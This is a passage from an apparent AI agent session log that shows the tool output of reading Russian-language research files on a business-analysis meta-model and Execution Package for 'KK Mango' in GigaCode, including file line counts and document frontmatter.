([`10-theory.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md), \u00a74).\\n4. **\u0413\u0435\u0439\u0442 \u2014 \u043e\u0434\u043d\u0430 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u0441 \u0442\u0440\u0435\u043c\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f\u043c\u0438.** `G-self` (\u0430\u0433\u0435\u043d\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\\n   \u0441\u0435\u0431\u044f), `G-mach` (\u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440), `G-human` (\u0447\u0435\u043b\u043e\u0432\u0435\u043a) \u2014 \u043d\u0435 \u0442\u0440\u0438 \u0442\u0438\u043f\u043e\u043b\u043e\u0433\u0438\u0438 \u0438\u0437 \u0442\u0440\u0451\u0445\\n   \u043c\u043e\u0434\u0443\u043b\u0435\u0439, \u0430 \u0442\u0440\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u044f `executor` \u043e\u0434\u043d\u043e\u0439 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438. \u0427\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0435 \u0433\u0435\u0439\u0442\u044b\\n   `HG-0`\u2026`HG-8` \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f **\u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430\u043c\u0438** `G-human`, \u0430 \u043d\u0435 \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u044b\u043c\\n   \u0441\u043b\u043e\u0432\u0430\u0440\u0451\u043c.\\n5. **\u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043e\u0442\u0434\u0435\u043b\u0451\u043d \u043e\u0442 \u0433\u0435\u0439\u0442\u0430.** \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442, \u043a\u0430\u043a\u0438\u043c \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c\\n   \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442; \u0433\u0435\u0439\u0442 \u2014 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0432 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430.\\n   \u041e\u0434\u0438\u043d \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c\u0438 \u0433\u0435\u0439\u0442\u0430\u043c\u0438; \u0433\u0435\u0439\u0442 \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d.\\n6. **\u041f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u044c \u2014 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c, \u0430 \u043d\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e.** `Trace` \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u0445\u043e\u0434,\\n   \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e, \u0430\u043a\u0442\u043e\u0440\u0430, \u0433\u0435\u0439\u0442 \u0438 \u0432\u044b\u0445\u043e\u0434. \u0411\u0435\u0437 \u043d\u0435\u0451 \u043d\u0438 \u043e\u0434\u043d\u0430 \u043c\u0435\u0442\u0440\u0438\u043a\u0430 \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0440\u0435\u0437\u0430\\n   \u043d\u0435 \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u043c\u0430: \u0437\u0430\u043c\u0435\u0440 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e 50 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 \u043d\u0435 \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u043d\u0430 \u043e\u0434\u0438\u043d\\n   \u043f\u0440\u043e\u043c\u043f\u0442, \u0442\u043e \u0435\u0441\u0442\u044c \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u00ab\u0432\u0445\u043e\u0434 \u2192 \u0440\u0430\u0431\u043e\u0442\u0430 \u2192 \u0432\u044b\u0445\u043e\u0434\u00bb \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043d\u0435 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\\n7. **\u0427\u0435\u0442\u044b\u0440\u0435 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435, \u043f\u044f\u0442\u0430\u044f \u2014 \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u0430\u044f.** \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b,\\n   \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b \u2014 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435. \u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0433\u0435\u0439\u0442\u043e\u0432 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432\\n   \u0441\u043b\u0443\u0436\u0435\u0431\u043d\u0430\u044f: \u043e\u043d\u0430 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0435 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u044b, \u0430 \u0435\u0451 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\\n   ([`20-taxonomy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/20-taxonomy.md), \u00a77).\\n8. **\u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u0443\u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0430, \u0430 \u043d\u0435 \u0438\u0437\u043e\u0431\u0440\u0435\u0442\u0435\u043d\u0430.** \u0423\u0440\u043e\u0432\u043d\u0438\\n   `Domain \u2192 Capability \u2192 Feature \u2192 Atomic Function` \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u044b \u0432 Source \u0447\u0438\u0441\u0442\u044b\u043c\\n   \u0441\u043f\u0440\u0430\u0432\u043e\u0447\u043d\u0438\u043a\u043e\u043c\\n   ([`standards/product-taxonomy-reference.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/standards/product-taxonomy-reference.md));\\n   \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u0441\u043f\u043e\u043a\u0435.\\n9. **Execution Package \u2014 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f, \u0430 \u043d\u0435 \u043f\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435.** \u0412 \u043f\u0430\u043a\u0435\u0442 \u0443\u0445\u043e\u0434\u044f\u0442 \u0441\u0435\u043c\u044c\\n   \u043a\u043b\u0430\u0441\u0441\u043e\u0432 \u0444\u0430\u0439\u043b\u043e\u0432; \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0442\u0435\u043a\u0441\u0442\u044b \u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u044f\u0442\u0441\u044f. \u0421\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439\\n   `SKILL.md` \u0441\u0430\u043c\u043e\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u0435\u043d: \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0430\u0433\u0435\u043d\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0445\u043e\u0434\u0438\u0442\u044c \u0432\u043e\\n   \u0432\u0440\u0435\u043c\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, \u0432 \u043d\u0451\u043c \u043d\u0435\u0442, \u0430 \u0432\u0435\u0440\u0441\u0438\u044f \u0441\u043b\u043e\u0451\u0432 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0430 \u0432\u043e frontmatter\\n   ([`30-decision-framework.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md), \u00a73).\\n10. **\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0440\u0435\u0437 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043e\u0434\u043d\u043e\u043c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0435.** MVP \u2014 `BCREQ` \u0434\u043b\u044f\\n    \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0433\u043e \u043a\u043b\u0430\u0441\u0441\u0430: \u043e\u0434\u0438\u043d \u043c\u0430\u0440\u0448\u0440\u0443\u0442, \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0430\u0432\u044b\u043a\u0430, \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430, \u043f\u044f\u0442\u044c\\n    \u043c\u0435\u0442\u0440\u0438\u043a. \u0420\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u0438\u044f \u044d\u043c\u043f\u0438\u0440\u0438\u043a\u0438 \u043d\u0430 \u043d\u0451\u043c\\n    ([`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md), \u00a74).\\n\\n11. **\u0418\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043e \u043f\u0440\u043e\u0448\u043b\u043e\u043c, \u0430 \u043d\u0435 \u0431\u0430\u0437\u0438\u0441 \u043d\u043e\u0432\u043e\u0439\\n    \u043d\u043e\u0440\u043c\u044b.** \u041f\u0440\u043e\u043c\u043f\u0442\u044b \u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0434\u0430\u044e\u0442 \u0444\u0430\u043a\u0442\u044b \u043e \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u0438 \u043d\u0435 \u0437\u0430\u0434\u0430\u044e\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438\\n    \u043b\u043e\u0433\u0438\u043a\u0443 \u043d\u043e\u0432\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432: \u043f\u0440\u0430\u0432\u0438\u043b\u0430 `LG-1`\u2026`LG-6`, \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\\n    (`derived_from`, `EP-C6`, `SK-7`) \u0438 \u0437\u0430\u043f\u0440\u0435\u0442 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441\u0441\u044b\u043b\u043a\u043e\u0439\",\n[2026-09-29T07:44:46.211Z] [INFO]         \"is_error\": false\n[2026-09-29T07:44:46.211Z] [INFO]       }\n[2026-09-29T07:44:46.211Z] [INFO]     ]\n[2026-09-29T07:44:46.211Z] [INFO]   },\n[2026-09-29T07:44:46.211Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:46.211Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:46.211Z] [INFO]   \"uuid\": \"d4b8b566-2c03-40e4-8eb6-e5dc319797e8\",\n[2026-09-29T07:44:46.211Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:46.037Z\",\n[2026-09-29T07:44:46.211Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:44:46.211Z] [INFO]     \"stdout\": \"   237 00-introduction.md\\n   253 10-theory.md\\n   310 20-taxonomy.md\\n   304 30-decision-framework.md\\n   225 40-practice-and-cases.md\\n   211 50-open-research.md\\n    80 operation-taxonomy/00-introduction.md\\n   111 operation-taxonomy/10-theory.md\\n   243 operation-taxonomy/20-taxonomy.md\\n   102 operation-taxonomy/30-decision-framework.md\\n   100 operation-taxonomy/40-practice-and-cases.md\\n    57 operation-taxonomy/50-open-research.md\\n   134 process-taxonomy/00-introduction.md\\n   218 process-taxonomy/10-theory.md\\n   197 process-taxonomy/20-taxonomy.md\\n   169 process-taxonomy/30-decision-framework.md\\n   133 process-taxonomy/40-practice-and-cases.md\\n    59 process-taxonomy/50-open-research.md\\n  3143 total\\n---\\nstatus: draft\\nversion: 0.4\\nupdated: 2026-09-15\\ntemperature: 0.3\\ntype: research\\ncontext: [ba, methodology, meta-model, taxonomy, actor, execution-package, gigacode, deprecation, traceability, issue-563, issue-571, issue-587]\\nmethod: synthesis + corpus-measurement + entity-modeling + package-design\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/563\\\"\\nbased_on:\\n  - research/ba-requirements/2026-09-08-meta-model-inputs-facts.md\\n  - research/ba-requirements/exp/ba-meta-model-563/meta-model-inputs.json\\n  - research/ba-requirements/methodology-unification/10-theory.md\\n  - research/ba-requirements/artifact-micro-structure/20-taxonomy.md\\nrelated_artifacts:\\n  - \\\"docs/adr/2026-09-adr-013-run-modes-deprecation.md\\\"\\n  - \\\"docs/adr/2026-09-adr-015-process-operation-taxonomy-rebuild.md\\\"\\n  - \\\"projects/ba-ai-process/ba-meta-model/process-taxonomy/20-taxonomy.md\\\"\\n  - \\\"projects/ba-ai-process/ba-meta-model/operation-taxonomy/20-taxonomy.md\\\"\\n  - \\\"standards/product-taxonomy-reference.md\\\"\\n  - \\\"research/ba-requirements/orchestration/00-introduction.md\\\"\\n  - \\\"ops/backlog.md\\\"\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/563\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/561\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/557\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/577\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/587\\\"\\n---\\n\\n# \u041f\u0440\u043e\u0435\u043a\u0442\u043d\u0430\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0411\u0410 \u0434\u043b\u044f \u041a\u041a \u041c\u0430\u043d\u0433\u043e \u0438 Execution Package\\n\\n\u0410\u0432\u0442\u043e\u0440\u0441\u0442\u0432\u043e \u043c\u043e\u0434\u0435\u043b\u0438: **G-Ivan-A**. \u041c\u043e\u0434\u0435\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u043e\u0435\u043a\u0442\u043d\u0443\u044e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e\\n\u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u041a\u041a \u041c\u0430\u043d\u0433\u043e \u0432 \u0441\u0440\u0435\u0434\u0435 GigaCode. \u042d\u0442\u043e \u0438\u043c\u044f \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0437\u0430\u044f\u0432\u043a\u043e\u0439 \u043d\u0430\\n\u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c: \u043d\u0435\u0438\u0437\u043c\u0435\u043d\u043d\u043e\u0441\u0442\u044c `L0`/`L1` \u043f\u0440\u0438 \u0441\u043c\u0435\u043d\u0435 \u0434\u043e\u043c\u0435\u043d\u0430 \u2014 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\\n\u0437\u0430\u0434\u0430\u0447\u0438 `B-158`, \u0430 \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n> **\u041c\u043e\u0434\u0443\u043b\u044c** \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d \u043f\u043e\\n> [Reference Research Pattern](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/rfc/2026-07-17-rfc-reference-research-pattern.md):\\n> `00` \u2014 \u0440\u0430\u043c\u043a\u0430 \u0438 \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f, `10` \u2014 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0437\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430\\n> \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, `20` \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438, `30` \u2014 \u0441\u043e\u0441\u0442\u0430\u0432 Execution\\n> Package \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043d\u0430\u0432\u044b\u043a\u0430, `40` \u2014 \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430\\n> BCREQ, \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0440\u0435\u0437 \u0438 \u043c\u0435\u0442\u0440\u0438\u043a\u0438, `50` \u2014 \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0435 \u0438 \u0431\u044d\u043a\u043b\u043e\u0433.\\n> **\u0421\u0441\u044b\u043b\u043a\u0438 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u044b\u0435** (\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 issue #563). \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u2014\\n> \u0432\u043d\u0443\u0442\u0440\u0438\u043c\u043e\u0434\u0443\u043b\u044c\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u0432\\n> [`40-practice-and-cases.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md):\\n> \u043f\u0440\u0430\u0432\u0438\u043b\u043e `P2` \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u043e\\n> ([`tools/validate-rrp-links.sh`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/tools/validate-rrp-links.sh)).\\n\\n## \u0417\u0430\u0447\u0435\u043c \u043c\u043e\u0434\u0443\u043b\u044c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442\\n\\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0430\u044f \u0431\u0430\u0437\u0430 \u0411\u0410 \u043a 2026-09-08 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043f\u044f\u0442\u0438 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430\\n(`M0`\u2013`M4`) \u0438 \u0434\u0432\u0443\u0445 \u043e\u0440\u0442\u043e\u0433\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u043e\u0441\u0435\u0439 \u2014 \u043c\u0430\u043a\u0440\u043e (`methodology-unification/`) \u0438\\n\u043c\u0438\u043a\u0440\u043e (`artifact-micro-structure/`). \u041a\u0430\u0436\u0434\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435 \u0441\u0432\u044f\u0437\u0435\u043d, \u043d\u043e \u043c\u0435\u0436\u0434\u0443\\n\u043c\u043e\u0434\u0443\u043b\u044f\u043c\u0438 \u043e\u0434\u043d\u043e \u0438 \u0442\u043e \u0436\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u043e \u043f\u043e-\u0440\u0430\u0437\u043d\u043e\u043c\u0443: \u0433\u0435\u0439\u0442\u044b \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u0442\u0440\u0438\u0436\u0434\u044b, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0438\\n\u043d\u0430\u0432\u044b\u043a \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043e\u0434\u043d\u043e\u043c \u043c\u043e\u0434\u0443\u043b\u0435, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0436\u0438\u0432\u0451\u0442 \u0438 \u0432 `M3`, \u0438 \u0432\\n\u0448\u0430\u0433\u0435 `S7` \u043c\u0430\u043a\u0440\u043e-\u043e\u0441\u0438.\\n\\nIssue [#563](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/563)\\n\u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0442\u0435\u043e\u0440\u0438\u0438 \u0438 \u0441\u0442\u0430\u0432\u0438\u0442 \u0434\u0432\u0435 \u0437\u0430\u0434\u0430\u0447\u0438: **\u0441\u0432\u0435\u0441\u0442\u0438 \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u043d\u043e\u0435 \u043a\\n\u043e\u0434\u043d\u043e\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438** \u0438 **\u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0437 \u043d\u0435\u0451 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043f\u0430\u043a\u0435\u0442**,\\n\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0440\u0435\u0437 \u0432 GigaCode. \u041c\u043e\u0434\u0443\u043b\u044c \u043d\u0435\\n\u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u043d\u043e\u0432\u043e\u0433\u043e \u0441\u043b\u043e\u044f \u043f\u043e\u0432\u0435\u0440\u0445 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u2014 \u043e\u043d \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442, \u043a\u0430\u043a\u0438\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438\\n\u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435, \u0430 \u043a\u0430\u043a\u0438\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0438\u0445 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f\u043c\u0438.\\n\\n**\u041e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u043e\u0441\u0442\u0438 (\u0432\u0435\u0440\u0441\u0438\u044f 0.2).** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043f\u043e\u0434\\n\u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u0443\u044e \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u041a\u041a \u041c\u0430\u043d\u0433\u043e \u0438 \u0441\u0440\u0435\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f GigaCode. \u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c **\u043d\u0435\\n\u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442\u0441\u044f**: `L0` \u0438 `L1` \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043d\u043e\u0439 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 \u0443\u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u044b \u0438\u0437 BABOK Guide v3\\n\u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u044b \u043f\u043e \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u0438\u044e, \u0430 `L2`, `L3` \u0438 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0432\u044b\u0432\u0435\u0434\u0435\u043d\u044b \u0438\u0437 \u043e\u0434\u043d\u043e\u0439\\n\u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438. \u041f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u0439 \u0434\u043e\u043c\u0435\u043d \u2014 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u0434\u043e\u0440\u043e\u0436\u043d\u043e\u0439 \u043a\u0430\u0440\u0442\u044b\\n([`50-open-research.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/50-open-research.md)),\\n\u0430 \u043d\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n**\u0427\u0442\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0430 \u0432\u0435\u0440\u0441\u0438\u044f 0.2**\\n([issue #571](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/571)):\\n\u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b 